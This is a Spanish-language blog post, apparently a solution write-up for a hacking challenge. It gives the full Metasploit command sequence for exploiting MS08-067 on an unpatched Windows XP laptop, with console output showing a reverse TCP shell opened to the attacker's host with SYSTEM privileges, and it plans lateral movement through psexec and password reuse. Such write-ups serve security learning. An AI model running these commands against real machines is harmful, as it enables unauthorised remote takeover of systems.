sábado, 4 de julio de 2009

Solución: Santa Claus is Hacking to Town (II)

Tal y como comentabamos en el anterior post del reto Santa Claus is Hacking to Town, hemos conseguido accesibilidad al puerto 445 de la máquina en la que tenemos que conseguir ejecutar el binario dooropen.exe, que sólo tiene privilegios de ejecución para el usuario jailmaster, que sabemos que tiene una contraseña largísima pero que el carcelero la usa para todos los equipos de la carcel.

Ahora sólo nos queda ejecutar el comando, para lo cual deberemos utilizar alguna vulnerabilidad en la configuración o administración del equipo, ya que sabemos que está completamente parcheado. De la información que tenemos y las herramientas de que disponemos, enseguida pienso que la forma más fácil va a ser explotar alguna vulnerabilidad del portatil que no está parcheado, y a partir de ahí, puesto que utiliza la misma contraseña en todos los equipos, y que los Windows autentican automáticamente entre ellos cuando se usa la misma contraseña, utilizar psexec para ejecutar el comando dooropen.exe en la máquina objetivo.

Vamos a ello, tal como dicen en el enunciado del reto, el portatil del jailmaster (jailmasterlaptop) está sin parchear, y concretamente es vulnerable a la famosa vulnerabilidad MS08-067 utilizada por el Conficker y que tantos quebraderos de cabeza nos ha causado en los últimos meses.

Revisamos nuestro arsenal y vemos que tenemos la Metasploit con los últimos plugins, entre ellos el que explota esta vulnerabilidad, así que vamos a ello (en negrita los comandos que tenemos que teclear), todo desde mi BackTrack4 Beta en imagen VMWare:

1) Arrancamos Metasploit, tarda un poco porque tiene que cargar los plugins y todo:

# cd /pentest/exploits/framework3
# ./msfconsole

=[ msf v3.3-dev
+ -- --=[ 345 exploits - 223 payloads
+ -- --=[ 20 encoders - 7 nops
=[ 123 aux

msf >


2) Buscamos la vulnerabilidad que queremos explotar:

msf > search ms08_067
[*] Searching loaded modules for pattern 'ms08_067'...

Exploits
========

Name Description
---- -----------
windows/smb/ms08_067_netapi Microsoft Server Service Relative Path Stack Corruption

msf >


3) Ya sabemos que el módulo se llama "windows/smb/ms08_067_netapi", así que vamos a escogerlo:

msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >


4) Ahora sacamos un listado de los Payload que tenemos disponibles:

msf exploit(ms08_067_netapi) > show payloads

Compatible payloads
===================

Name Description
---- -----------
[...]
windows/shell/reverse_nonx_tcp Windows Command Shell, Reverse TCP Stager (No NX Support)
windows/shell/reverse_ord_tcp Windows Command Shell, Reverse Ordinal TCP Stager
windows/shell/reverse_tcp Windows Command Shell, Reverse TCP Stager
windows/shell_bind_tcp Windows Command Shell, Bind TCP Inline
[...]

msf exploit(ms08_067_netapi) >


5) Escogemos una reverse shell, para obtener acceso a la máquina y que sea ella la que se conecta a nosotros, por si hubiera algún tipo de filtrado:

msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) >


6) Hacemos que nos muestra las opciones que tenemos que seleccionar para poder lanzar el exploit:

msf exploit(ms08_067_netapi) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/shell/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST yes The local address
LPORT 4444 yes The local port


Exploit target:

Id Name
-- ----
0 Automatic Targeting


msf exploit(ms08_067_netapi) >


7) Completamos la información de IP de origen (para lanzar el ataque), IP destino (para que sepa hacia donde tiene que lanzar el reverse shell) y puerto (usaremos el 80 por si hay algún tipo de filtrado):

msf exploit(ms08_067_netapi) > set RHOST jailmasterlaptop
RHOST => jailmasterlaptop
msf exploit(ms08_067_netapi) > set LHOST santasvmlinux
LHOST => santasvmlinux
msf exploit(ms08_067_netapi) > set LPORT 80
LPORT => 80
msf exploit(ms08_067_netapi) >


8) Lanzamos el exploit y... tachaaaan! Shell Remota con privilegios de SYSTEM:

msf exploit(ms08_067_netapi) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Triggering the vulnerability...
[*] Sending stage (474 bytes)
[*] Command shell session 1 opened (santasvmlinux:80 -> jailmasterlaptop:1044)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>


Ya tenemos nuestra Shell con privilegios de SYSTEM en el sistema, y sabemos que el mismo portátil tiene un usuario jailmaster que tiene la misma contraseña que la que necesitamos para poder ejecutar remotamente el comando dooropen.exe y poder salir de la prisión, pero no podemos coger el hash y crackearlo, ya que la contraseña es muy larga y no tenemos ningún diccionario ni capacidad de bajar ninguno (sólo podemos bajar una herramienta de 1 MB). Sin embargo, está claro que la clave está en el acceso a este equipo que acabamos de conseguir, y me hago la siguiente hipótesis nada más lograr el acceso: ¿desde SYSTEM en Windows se puede hacer un "su -" y convertirme en cualquier usuario sin necesidad de contraseña como sucedería en un Unix desde el usuario root? Si lo consiguiera podría establecer autenticación entre ambos usuarios sin necesidad de teclear la contraseña y lanzar psexec desde el portatil (si es posible lanzarlo sin establecer contraseña). Pero eso, para el siguiente post ;)

No hay comentarios :